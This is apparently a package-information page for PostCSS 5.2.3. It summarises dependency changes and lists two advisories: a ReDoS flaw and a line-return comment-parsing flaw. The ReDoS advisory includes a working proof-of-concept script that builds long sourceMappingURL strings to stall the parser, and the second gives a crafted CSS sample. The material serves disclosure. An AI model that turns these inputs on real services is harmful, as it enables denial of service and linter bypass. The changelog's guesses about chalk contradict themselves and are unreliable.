PostCSS saw a minor update from version 5.2.2 to 5.2.3, released on September 29, 2016, just a few days after the previous version. Both versions are described as tools for transforming styles using JavaScript plugins, making them essential for modern CSS development workflows. The core functionalities remain consistent, but the update introduces a crucial development dependency: chalk. This library, used for adding color to terminal output, could indicate improved command-line interface feedback or more informative debugging messages within the PostCSS ecosystem.
Examining the devDependencies, we also observe version bumps in other packages. eslint sees an update from 3.6.0 to 3.6.1, and more noticeably, babel-core and babel-preset-es2015 are updated from 6.14.0 to 6.16.0. babel-eslint also jumps from 6.1.2 to 7.0.0. These transitions are likely reflecting improvements in JavaScript linting and transpilation support, potentially translating to better compatibility with modern JavaScript syntax within PostCSS plugins. Although chalk appears also as a dependency, it's version is still at 1.1.3.
For developers, the key takeaway is that version 5.2.3 likely offers enhanced stability, better debugging tools due to the addition of chalk and improved JavaScript compatibility through the updated Babel dependencies. While the core functionality remains the same, these updates provide a smoother and more reliable experience for plugin development and integration within your CSS build process.
All the vulnerabilities related to the version 5.2.3 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.